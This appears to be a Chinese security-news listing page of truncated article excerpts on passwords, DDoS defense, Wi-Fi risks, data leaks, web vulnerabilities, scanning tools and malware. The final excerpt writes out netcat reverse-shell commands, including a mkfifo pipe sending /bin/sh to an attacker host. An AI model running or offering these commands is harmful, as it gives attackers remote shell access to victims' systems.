什么样的密码难破解最安全？表情符号成最安全的密码
互联网生活促成了庞大的账户密码数据，怎样设置自己登陆密码最安全？什么样的密码难破解？据媒体报道表情符号将成最安全的密码。
什么样的密码难破解最安全？表情符号成最安全的密码
来自英国的安全软件开发公司Intelligent Environments6月15日发布了世界上第一个表情密码系统，比传统的密码更安全且更好记。
传统PIN码由 ...
密码的一些存储方式和安全传输建议
密码是软件系统中非常常见的属性，密码保存和传递都需要考虑如何才能不泄漏。
密码存储
密码在服务器都需要加密保存，根据用途不一样，有可逆加密（AES）和非可逆加密（PBKDF2）算法。
可逆加密方式存储
可逆加密一般是客户端保存密码，客户端需要还原出密码然后使用密码访问服务器。可逆加密的AES算法需要一个密钥，通过密 ...
对抗 DDoS 攻击的 15 个方法
为了对抗 DDoS(分布式拒绝服务)攻击，你需要对攻击时发生了什么有一个清楚的理解. 简单来讲，DDoS 攻击可以通过利用服务器上的漏洞，或者消耗服务器上的资源(例如 内存、硬盘等等)来达到目的。DDoS 攻击主要要两大类: 带宽耗尽攻击和资源耗尽攻击. 为了有效遏制这两种类型的攻击，你可以按照下面列出的步骤来做：
1. 如果只 ...
历史悠久的3个经典网站安全漏洞介绍
互联网项目里边，SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。
这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防 ...
高效的DDoS攻击探测与分析工具：FastNetMon
关于FastNetMon
这是一个基于多种抓包引擎（NetFlow, IPFIX, sFLOW, netmap, PF_RING, PCAP）的DoS/DDoS攻击高效分析工具，可以探测和分析网络中的异常流量情况，同时可以通过外部脚本通知或阻断攻击。
特性
可处理入/出口流量如果发现某个IP发出异常流量，可触发封禁脚本可通过ExaBGP将封禁IP通知BGP路由器可在1-2秒内发 ...
WiFi是怎么泄密的?
引言：Wi-Fi网络是我们生活当中所必不可少的重要通信工具。如今，询问Wi-Fi密码已经成为大部分用户到新地方要做的第一件事，但大部分人并不具备Wi-Fi安全的相关意识。据统计，目前我国手机网民已迫近6亿，随着移动网络的健全以及飞速发展，手机等移动终端接入Wi-Fi上网的方式，成为了大多数网民的首选，而随时随 ...
公共场所免费wifi如何安全使用 警惕黑网
公共场所免费wifi如何安全使用 警惕黑网
315晚会三大运营商齐中枪
央视在315晚会现场演示了黑客利用免费WiFi网络窃取用户微信照片以及邮箱账号密码的过程。
安全专家指出，用户的个人信息被窃取就是因为手机连接了黑客搭建的“黑网”。黑客通过搭建一个与公共WiFi很相近的名字，不用登录密码，诱使用户进入。用 ...
大量12306用户数据遭泄露 含身份证号及密码
乌云漏洞报告截图12月25日消息，漏洞报告平台乌云漏洞今发布报告称，大量包括用户帐号、明文密码、身份证和邮箱在内的12306用户数据在互联网上疯狂传播。乌云在报告中透露，目前泄露的数据包括，包括登录账号、密码、信用卡信息、购买记录、常用联系人的电话及身份证号。乌云还补充道，数据已在传播售卖，但目前无法确认是 ...
WordPress 4.0以下版本存在跨站脚本漏洞
该漏洞是由芬兰IT公司Klikki Oy的CEO Jouko Pynnonen发现的，只存在于Wordpress4.0以下的版本中。据调查得知全球有86%的Wordpress网站都感染了这一漏洞，也就意味着全球数百万的网站都存在着潜在的危险。一些知名网站也使用了Wordpress软件，如Time、UPS、NBC Sports、CNN、Techcrunch 和FreeBuf:）
漏洞概述
WordPress中 ...
最快的互联网扫描工具ZMap 1.2.1版使用手册
ZMap是一个开源网络扫描工具，可以帮助研究人员快速的进行全网检测。只需要一台机器和足够上行网络速度，就可以以达到千兆以太网的理论值速度并在45分钟内扫描全网络IPv4地址。
基本选项
这些选项是在扫描中最常用的-p, –target-port=port需要扫描的TCP 端口号 (比如443)-o, –output-file=name将扫描结果输出到 ...
各种在线客服插件的安装使用注意事项
网站建设留下联系方式是必不可少的，网站建设的注意目的也是能够与意向客户建立联系，从而进一步发展为最终客户。那么网站建设常见的联系方式有哪些呢？具济南网站建设了解总结，网站建设常用的联系方式有联系电话、公司地址、传真、邮箱、在线客服等。今天济南网站建设重点要说的是网站安装在线客服插件的注意事项。
一、 ...
加速乐：第一时间破壳漏洞纪实 上演拦截戏码
2014年9月24日，Bash被曝光存在任意命令执行漏洞，漏洞编号为CVE-2014-6271，影响范围非常大：Bash <= 4.3。破壳漏洞(ShellShock)的严重性被定义为10 级(最高)，今年4 月爆发的OpenSSL“心脏出血”漏洞才5 级!GNU Bash Shell作为一种被广泛应用在Linux和Unix家族中的命令行解析器，使该漏洞会影响大量基于Lin ...
DDoS的攻击方法及防范介绍
很多新手站长对DDoS攻击这一名词并不陌生，但什么是DDoS攻击，应该怎么防范不太清楚，现在我们用很通俗的语言来给大家解释一下：
DDoS攻击其实就是一种利用某种技术手段将目标服务器与互联网连接的所有通道堵死，从而造成服务器与互联网失去联系，正常访问者无法获取服务器上的数据。我们这样解释详细很多站长应该能看懂！
...
QQ粘虫是什么？QQ粘虫病毒查杀方法？
QQ粘虫主要通过两个渠道传播,如下：
QQ粘虫传播途径：
1、伪装成QQ工具、游戏，
2、伪装成各种QQ好友发送的文件、主要以办公文件为主。
QQ粘虫危害：
专门从事QQ盗号产业的不法分子会对偷来的QQ号分类处理，有Q币的有游戏装备的会有专门的团队完成虚拟财产的转移，再冒充他人身份登录QQ号行骗。因而网 ...
如何判断电脑是否沦为“肉鸡”？
“肉鸡”在黑客里面的一个专有名词，意思是你的电脑已经完全被黑客所控制，他可以控制你电脑里面的一切资料，甚至是记录你输入的QQ密码，银行密码。同时，他还可以利用你的电脑去攻击其它人的电脑。很多朋友的电脑已经沦为肉鸡，自己还不知道。下面，小编就来给大家盘点几条电脑沦为肉鸡的表现，当网友遇到这些现 ...
SQL注入测试实例分析
本文详细讲述了 sql注入的原理及防范技巧，目的是让初学者利用SQL注入技术来解决他们面临的问题, 成功的使用它们,并在这种攻击中保护自己。希望能对大家有所帮助。
一、 介绍
当一台机器只打开了80端口, 你最依赖的漏洞扫描器也不能返回任何有用的内容, 并且你知道管理员经常为机器打补丁, 我们就不得不使用web攻击方式 ...
服务器上网站被挂Iframe木马的解决方法
(挂马现象：非IIS映射修改,非ARP病毒,且源代码里没有iframe代码的)今天访问公司的一个网站，突然发现网页显示不对，右键查看HTML代码，发现iframe了一个网站的js文件，不用说，肯定被挂马了。 进入服务器，看了下文件源代码里并没有这个iframe代码，但整个服务器的所有网站访问后代码里都自动加了这个iframe代码。 我第一反 ...
KindEditor上传解析漏洞、列目录、内容漏洞
Kindeditor漏洞 编辑代码内容被执行 kindeditor漏洞描述：在kindeditor编辑代码添加到数据库时没有任何问题，也就是一些HTML代码不会被执行，例如：<a href="#">web编程</a>，这样的代码在首次编辑的时候没有被执行。但是，从数据库里取出来再放到kindeditor里进行修改的时候问题就出现了，这行HTML代码被执行了，结果这样 ...
七类最危险的网络管理员小结
Jeff Dray最近经过对IT行业的深入调查研究，通过总结和分析针对IT行业列出了一份类别名单。在这里，他定义了七类最不安全的网络管理员。如果你是一名网络管理员，并且已经意识到工作中还存在着不足，看看你属于名单中的哪一类？ 大多数网络管理员对工作游刃 有余，并且可以在一个具有高度挑战和技术难度的任务中，使工作顺 ...
Unix系统NC反弹shell的方法
NC的原生做法：
nc -l -vv -p 2222 -e /bin/bash无法使用NC反弹的时候可以这样
先在tmp创建一个普通管道mknod /tmp/backpipe p或者mkfifo /tmp/backpipe p然后管道一边接入shell,一变用NC反弹到攻击者主机x.x.x.x/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe
PS：攻防的对抗一直在思路的转变之间，将 ...
